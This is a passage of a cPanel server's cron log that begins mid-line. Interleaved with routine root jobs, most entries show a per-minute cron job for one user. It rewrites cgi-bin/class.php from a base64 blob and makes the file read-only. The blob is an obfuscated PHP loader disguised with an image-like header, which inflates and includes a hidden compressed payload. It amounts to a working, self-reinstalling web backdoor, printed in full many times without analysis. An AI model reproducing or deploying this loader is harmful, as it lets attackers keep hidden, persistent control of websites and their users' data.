k7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:10:01 server CROND[23986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 03:11:01 server CROND[24104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:12:01 server CROND[24165]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 03:12:01 server CROND[24166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:13:01 server CROND[24270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:14:01 server CROND[24321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:15:01 server CROND[24480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:15:01 server CROND[24481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:15:01 server CROND[24479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:16:01 server CROND[24604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:17:01 server CROND[24661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:18:01 server CROND[24731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:19:01 server CROND[24796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:20:01 server CROND[24848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:20:01 server CROND[24849]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 03:20:01 server CROND[24851]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 03:20:01 server CROND[24852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:20:01 server CROND[24853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:21:01 server CROND[24972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:21:02 server anacron[23245]: Job `cron.daily' started
Apr 10 03:21:02 server run-parts(/etc/cron.daily)[24976]: starting csget
Apr 10 03:21:02 server run-parts(/etc/cron.daily)[24985]: finished csget
Apr 10 03:21:02 server run-parts(/etc/cron.daily)[24976]: starting logclean
Apr 10 03:21:02 server run-parts(/etc/cron.daily)[24999]: finished logclean
Apr 10 03:21:02 server run-parts(/etc/cron.daily)[24976]: starting logrotate
Apr 10 03:21:02 server run-parts(/etc/cron.daily)[25006]: finished logrotate
Apr 10 03:21:02 server run-parts(/etc/cron.daily)[24976]: starting maldet
Apr 10 03:22:01 server CROND[25214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:23:01 server CROND[25273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
